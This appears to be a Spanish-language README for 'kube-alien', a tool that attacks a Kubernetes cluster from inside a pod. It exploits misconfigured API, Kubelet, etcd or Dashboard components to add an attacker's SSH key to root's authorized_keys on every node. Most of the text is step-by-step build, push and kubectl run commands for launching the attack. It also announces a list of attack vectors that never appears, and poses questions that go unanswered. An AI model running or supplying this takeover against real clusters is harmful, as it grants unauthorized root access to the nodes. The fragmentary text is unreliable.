
Herramienta automatizada de pruebas de penetración en clústeres de Kubernetes que explota configuraciones incorrectas en API, Kubelet, etcd y Dashboard para lograr la toma de control del nodo mediante la inyección de claves SSH desde un pod.
Esta herramienta lanza ataques a un clúster de k8s desde dentro. Esto significa que ya necesitas tener acceso con permisos para desplegar pods en un clúster para ejecutarlo. Después de ejecutar el pod kube-alien, intenta tomar el control de los nodos del clúster añadiendo tu clave pública al archivo /root/.ssh/authorized_keys del nodo, utilizando esta imagen https://github.com/nixwizard/dockercloud-authorizedkeys (se puede ajustar usando el parámetro ADD_AUTHKEYS_IMAGE en config.py) bifurcada de docker/dockercloud-authorizedkeys. El ataque tiene éxito si existe una mala configuración en uno de los componentes del clúster, y se lleva a cabo a través de los siguientes vectores:
¿Cuál es el propósito de esta herramienta?
¿Cómo se puede atacar un clúster de k8s desde dentro en un escenario real?
La imagen de Kube-alien debe enviarse a tu dockerhub (u otro registro) antes de usarla con esta herramienta.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
Se requiere que la variable de entorno AUTHORIZED_KEYS esté configurada con el valor de tu clave pública SSH. En caso de éxito, la clave pública se añadirá al archivo authorized_keys de root en todos los nodos.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
o puedes usar mi imagen para pruebas rápidas:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Revisa los logs del pod de Kube-alien para ver si el ataque fue exitoso:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')